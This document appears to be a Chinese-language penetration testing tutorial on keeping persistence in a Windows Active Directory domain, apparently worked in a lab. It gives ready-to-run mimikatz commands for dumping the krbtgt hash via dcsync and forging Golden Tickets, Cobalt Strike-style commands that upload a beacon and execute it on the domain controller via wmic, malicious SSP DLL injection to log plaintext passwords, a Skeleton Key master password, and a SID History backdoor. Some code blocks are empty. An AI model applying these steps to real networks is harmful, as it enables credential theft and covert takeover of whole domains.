域环境权限维持
PTT
PASS The Ticket
黄金票据伪造
原理
这个过程发生在 AS确认Client端登录者用户身份 中
当KDC 返回Meg B 其中包含了使用KRBTGT NTLM HASH (TGS) 加密的TGT, 如果此时我们获取了KGBTGT 的NTML HASH的话我们就可以解密这个TGT 从而伪造伪造一个新的 TGT 然后发给KGBTGT,此时KGBTGT 同样的使用自己的HASH 进行解密,就可以获取到我们伪造的[CLIENT/TGS SESSIONKEY] 成功解密并完成 TGT 的数据进行对比。这就已经骗过了KDC 获取服务权限
条件
域名称
域用户的SID值
前面部分为sid 后面为rid 可以使用rid 劫取
域的 KRBTGT 账户密码 HASH
伪造用户名,可以是任意的
利用步骤
域名称
也可以通过whoami 获取当前的域名称
获取sid
1
2whoami /user
wmic useraccount list brief同时可以发现这个域名
注意,我们只需要前面的部分、
如果没有发现这个hash值的话,可以尝试使用进程注入的方式进行提权,从而获取hash
可以选择system 权限的进程进行迁移
域 krbtgt 账户 ntlm hash 或aes-256值
mimikatz lsadump::dcsync /user:krbtgt(username)@august.local
mimikatz lsadump::dcsync /domain:august.local /all /csv
这个会自带注入
清理所有的票据
1
2klist purge
mimikatz kerberos::purge我们也可以查看所有缓存的票据
1
2klist
mimikatz kerberos::list没有票据
mimikatz伪造指定用户的票据并注入内存
1
mimikatz kerberos::golden /user:administrator /domain:august.local /sid:S-1-5-21-1007551803-2786613087-1256062893 /krbtgt:a5025dd54ecce3ce2b31e1a07098c093 /endin:480 /renewmax:10080 /ptt
1
2
3
4
5/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称发现注入成功
如果这个显示的是 拒绝访问
可以尝试使用
1
shell dir \\DC\c$
得到域控主机的权限
1
2
3
4upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe)
shell copy C:\artifact_x64.exe \\10.10.10.128\c$
shell wmic /authority:"kerberos:august.com\DC" /node:"DC" process call create "cmd /c c:\artifact_x64.exe"
connect 10.10.10.10现在模拟再做一遍横向移动
1
shell wmic /node:10.10.10.128 process call create "c:\artifact_x64.exe"
保存票据为文件
1
mimikatz kerberos::golden /user:administrator /domain:august.com /sid:S-1-5-21-1007551803-2786613087-1256062893 /krbtgt:a5025dd54ecce3ce2b31e1a07098c093 /ticket:golden.kirbi
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中
SSP
简介
SSP:security Support Provider,一个用于身份验证的 dll
SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。 SSPI是SSP的API接口
LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于 LSA是可扩展的,在系统启动的时SSP会被加载到进程lsass.exe中.这相当于我们可以自定义一个
dll,在系统启动的时候被加载到进程 lsass.exe 。
但是高版本中这个进程里不会存在明文密码了,只有hash 值
可以通过修改注册表从而实现保存,所以我们就可以启用保存秘密的操作,然后就可以直接读取到明文密码了
原理
由于ssp 可以可扩展,我们就可以加载一个恶意的dll 文件。
作为攻击者可以直接使用一个可以抓取明文密码的dll 文件
就比如mimikatz 的mimilib.dll 文件
将 mimikatz 中的 mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与 windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响 到持久化的效果。
利用
dll 注入
1 |
|
注意应该在powershell 中执行
在获取主机的情况之下
获取当前的路径
然后执行命令
然后只有等用户重启之后,如果有用户登录系统,才会有记载
会在 c:\windows\system32 目录下生成一个用于 记录登账账号密码的 kiwissp.log 文件
但是域控不会轻易的重启
mimikatz 直接注入到内存
Memory Updating of SSPs
这个会更加实用一些
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重 启,被注入内存的伪造的SS将会丢失。
但是域控不会轻易的重启
1 |
|
注入成功
尝试登录
Skeleton Key
可以生成一个万能的密码用于登录
哪一个主机安装这个key 对哪一个主机是万能密码
1 |
|
尝试域控安装万能密码
1 |
|
mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户添加了一个万能密 码,无法修改账户的权限
也就是说任何用户都可以使用万能密码登录
验证
1 |
|
注意应该是dc.august.local 其他的容易出错
而且不是所有的域控都是dc 只不过这这里我们将dc 主机的主机名设置成了dc
SID History
简介
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。 SID History是在域迁移过程中需要使用的一个属性。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权 限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会 将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原 来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获 得了域管理员权限,则可以将SID History作为实现持久化的方法。
就是用于鉴定权限的东西,然后我们可以使用给sid 添加迁移之后继续保持该权限,而不是重新的新的权限的关键字。从而实现持久性获取,但是该方法需要管理员权限
利用
域控上添加并且启用账户
1
dsadd user cn=ttttest,dc=august,dc=com -disabled no -pwd 123qweASD@!#
如果发现不行,也可以尝试直接使用域控上面现成的普通域用户
Mimikatz添加后门
1 |
|
然后就有administrator 的sid 了